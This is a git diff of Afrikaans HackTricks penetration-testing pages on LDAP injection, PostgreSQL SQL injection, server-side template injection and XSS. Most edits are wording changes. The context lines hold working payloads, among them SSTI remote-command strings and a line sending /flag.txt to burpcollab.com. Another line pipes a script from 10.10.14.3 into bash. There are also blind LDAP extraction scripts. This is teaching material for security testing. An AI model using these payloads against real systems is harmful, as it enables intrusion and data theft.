Daar moet 'n patroon wees (met die grootte van 'n gebruikte blok). So, deur te weet hoe 'n klomp "a" versleuteld is, kan jy 'n gebruikersnaam skep: "a"\*(grootte van die blok)+"admin". Dan kan jy die versleutelde patroon van 'n blok van "a" uit die koekie verwyder. En jy sal die koekie van die gebruikersnaam "admin" hê.
@ -272,7 +272,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -33,7 +33,7 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat dit aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -75,7 +75,7 @@ Dan: `(&(objectClass=`**`*)(ObjectClass=*))`** sal die eerste filter wees (die e
### Login Bypass
LDAP ondersteun verskeie formate om die wagwoord te stoor: duidelik, md5, smd5, sh1, sha, crypt. So, dit kan wees dat ongeag wat jy binne die wagwoord invoer, dit gehasht word.
LDAP ondersteun verskeie formate om die wagwoord te stoor: duidelik, md5, smd5, sh1, sha, crypt. So, dit kan wees dat ongeag wat jy binne die wagwoord invoer, dit gehashel word.
```bash
user=*
password=*
@ -167,7 +167,7 @@ Jy kan oor die ascii letters, syfers en simbole herhaal:
#### **Ontdek geldige LDAP-velde**
LDAP-objekte **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **almal daarvan te brute-force om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) vind.
LDAP-objekte **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **allemaal te brute-force om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) vind.
```python
#!/usr/bin/python3
import requests
@ -199,7 +199,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
#### **Spesiale Blind LDAP Inbraak (sonder "\*")**
#### **Spesiale Blind LDAP Inspuiting (sonder "\*")**
```python
#!/usr/bin/python3
@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
As jy belangstel in **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiende Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -10,14 +10,14 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiende Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -27,7 +27,7 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op
## Netwerk Interaksie - Privilege Escalation, Port Scanner, NTLM uitdaging antwoord openbaar & Exfiltrasie
Die **PostgreSQL module `dblink`** bied vermoëns om met ander PostgreSQL instansies te verbind en TCP verbindings uit te voer. Hierdie funksies, gekombineer met die `COPY FROM` funksionaliteit, stel aksies soos privilege escalasie, port scanning, en NTLM uitdaging antwoord vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om [hierdie aanvalle uit te voer](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
Die **PostgreSQL module `dblink`** bied vermoëns om met ander PostgreSQL instansies te verbind en TCP verbindings uit te voer. Hierdie funksies, gekombineer met die `COPY FROM` funksionaliteit, stel aksies soos privilege escalatie, port scanning, en NTLM uitdaging antwoord vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om [hierdie aanvalle uit te voer](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **Exfiltrasie voorbeeld met dblink en groot voorwerpe**
@ -35,7 +35,7 @@ Jy kan [**hierdie voorbeeld lees**](dblink-lo\_import-data-exfiltration.md) om '
## PostgreSQL Aanvalle: Lees/skryf, RCE, privesc
Kyk hoe om die gasheer te kompromitteer en privileges van PostgreSQL te verhoog in:
Kyk hoe om die gasheer te kompromitteer en voorregte van PostgreSQL te verhoog in:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
### Verbode aanhalings
As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met `CHR` vir basiese clausules (_karakter-konkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings_):
As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met `CHR` vir basiese clausules (_karakterkonkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings_):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
@ -97,7 +97,7 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).

View file

@ -1,12 +1,14 @@
# SSTI (Server Side Template Injection)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -52,11 +54,17 @@ Om Server-Side Template Injection (SSTI) te detecteer, is dit aanvanklik **fuzzi
Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of die handmatige toetsing van verskeie taalspesifieke payloads. Algemene payloads wat foute veroorsaak, sluit `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>` in. Om die bediener se reaksie op wiskundige operasies te observeer, help om die spesifieke sjabloon-enjin te bepaal.
#### Identifikasie deur payloads
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
* Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
## Gereedskap
### [TInjA](https://github.com/Hackmanit/TInjA)
'n Doeltreffende SSTI + CSTI skandeerder wat nuwerwets polyglots gebruik.
'n Doeltreffende SSTI + CSTI skandeerder wat nuwerwets polyglots gebruik
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
@ -75,7 +83,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
```
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
'n Interaktiewe tabel wat die mees doeltreffende template-inspuitings-polyglotte bevat, saam met die verwagte antwoorde van die 44 belangrikste template-enjins.
'n Interaktiewe tabel wat die mees doeltreffende template-inspuitingspoliglots bevat, saam met die verwagte antwoorde van die 44 belangrikste template-enjins.
## Exploits
@ -97,7 +105,7 @@ ${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
```
**Java - Verkry die stelsels se omgewing veranderlikes**
**Java - Verkry die stelsels omgewing veranderlikes**
```java
${T(java.lang.System).getenv()}
```
@ -196,7 +204,7 @@ Overweeg die volgende kode-snippet, wat kwesbaar kan wees vir uitbuiting:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit mag lei tot afstandkode-uitvoering wat toegang tot URL's soos:
Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit kan lei tot afstandkode-uitvoering wat toegang tot URL's soos:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -213,7 +221,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**Om filters te omseil**
**Deur filters te omseil**
Meervoudige veranderlike-uitdrukkings kan gebruik word, as `${...}` nie werk nie, probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`.
@ -422,6 +430,12 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
### Ander Java
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
* Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
@ -492,7 +506,7 @@ array("first_name" => $user.first_name)
### Plates (PHP)
Plates is 'n templating engine wat inheems aan PHP is, wat inspirasie uit Twig put. Dit is egter anders as Twig, wat 'n nuwe sintaksis bekendstel, gebruik Plates inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars.
Plates is 'n templating engine wat inheems aan PHP is, wat inspirasie uit Twig put. Maar, in teenstelling met Twig, wat 'n nuwe sintaksis bekendstel, maak Plates gebruik van inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars.
Controller:
```php
@ -509,7 +523,7 @@ Bladsy sjabloon:
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Layout sjabloon:
Layout-sjabloon:
```html
<html>
<head>
@ -526,7 +540,7 @@ Layout sjabloon:
### PHPlib en HTML\_Template\_PHPLIB (PHP)
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is dieselfde as PHPlib, maar na Pear oorgedra.
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is dieselfde as PHPlib, maar oorgedra na Pear.
`authors.tpl`
```html
@ -586,6 +600,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
### Ander PHP
<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
* Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Jade (NodeJS)
```javascript
- var x = root.process
@ -686,7 +706,7 @@ URLencoded:
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**Voorbeeld bediener kant weergawe**
**Voorbeeld bedienerkant weergawe**
```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
@ -709,6 +729,14 @@ home = pugjs.render(injected_page)
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
### Ander NodeJS
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
* Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
@ -740,9 +768,17 @@ home = pugjs.render(injected_page)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Ander Ruby
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
* Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Python
Kyk na die volgende bladsy om truuks te leer oor **arbitrary command execution wat sandboxes omseil** in python:
Kyk na die volgende bladsy om truuks oor **arbitraire opdrag uitvoering wat sandboxes omseil** in python te leer:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -850,12 +886,20 @@ ${x}
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Ander Python
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
* Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Razor (.Net)
* `@(2+2) <= Sukses`
* `@() <= Sukses`
* `@("{{code}}") <= Sukses`
* `@ <=Sukses`
* `@ <= Sukses`
* `@{} <= FOUT!`
* `@{ <= FOUT!`
* `@(1+2)`
@ -885,7 +929,7 @@ Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige pro
### Mojolicious (Perl)
Alhoewel dit perl is, gebruik dit etikette soos ERB in Ruby.
Alhoewel dit Perl is, gebruik dit etikette soos ERB in Ruby.
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`
@ -899,11 +943,13 @@ In Go se sjabloon enjin kan bevestiging van sy gebruik gedoen word met spesifiek
* `{{ . }}`: Ontbloot die datastruktuur invoer. Byvoorbeeld, as 'n objek met 'n `Password` attribuut oorgedra word, kan `{{ .Password }}` dit blootstel.
* `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon.
* `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie [hier](https://golang.org/pkg/text/template) ondersoek word.
* `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie [hier](https://golang.org/pkg/text/template) verken word.
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**XSS Exploitation**
Met die `text/template` pakket kan XSS eenvoudig wees deur die payload direk in te voeg. In teenstelling hiermee, kodeer die `html/template` pakket die antwoord om dit te voorkom (bv. `{{"<script>alert(1)</script>"}}` lei tot `&lt;script&gt;alert(1)&lt;/script&gt;`). Nietemin kan sjabloon definisie en aanroep in Go hierdie kodering omseil: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
Met die `text/template` pakket kan XSS eenvoudig wees deur die payload direk in te voeg. In teenstelling hiermee, kodeer die `html/template` pakket die antwoord om dit te voorkom (bv., `{{"<script>alert(1)</script>"}}` lei tot `&lt;script&gt;alert(1)&lt;/script&gt;`). Nietemin, sjabloon definisie en aanroep in Go kan hierdie kodering omseil: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
@ -911,7 +957,7 @@ vbnet Copy code
RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe om enige publieke funksie direk aan te roep (met die “call” waarde), wat nie toegelaat word in `html/template`. Dokumentasie vir hierdie modules is beskikbaar [hier vir html/template](https://golang.org/pkg/html/template/) en [hier vir text/template](https://golang.org/pkg/text/template/).
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos `{{ .System "ls" }}` uitgebuit word. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
Vir RCE via SSTI in Go, kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos volg uitgebuit word: `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -971,7 +1017,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
As jy belangstel in **hacking loopbaan** en die onhackable hack - **ons huur!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -23,15 +23,15 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur
2. Kan jy nuwe gebeurtenisse/eienskappe skep om JS-kode uit te voer?
3. Ondersteun die eienskap waar jy vasgevang is JS-uitvoering?
4. Kan jy beskermings omseil?
3. Binne **JavaScript-kode**:
1. Kan jy die `<script>`-tag ontsnap?
3. Binne **JavaScript kode**:
1. Kan jy die `<script>` tag ontsnap?
2. Kan jy die string ontsnap en verskillende JS-kode uitvoer?
3. Is jou invoer in sjabloon literale \`\`?
4. Kan jy beskermings omseil?
4. Javascript **funksie** wat **uitgevoer** word
1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
4. As dit **gebruik** word:
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **gecontroleerde invoer deur enige sink gebruik word.**
4. As **gebruik**:
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **beheerde invoer deur enige sink gebruik word.**
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet oor:
@ -60,9 +60,9 @@ Hou ook in gedagte [Kliëntkant Sjabloon Inspuiting](../client-side-template-inj
As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:
1. Om te **ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
1. Om **te ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy in staat wees om dit arbitrêre kode te laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
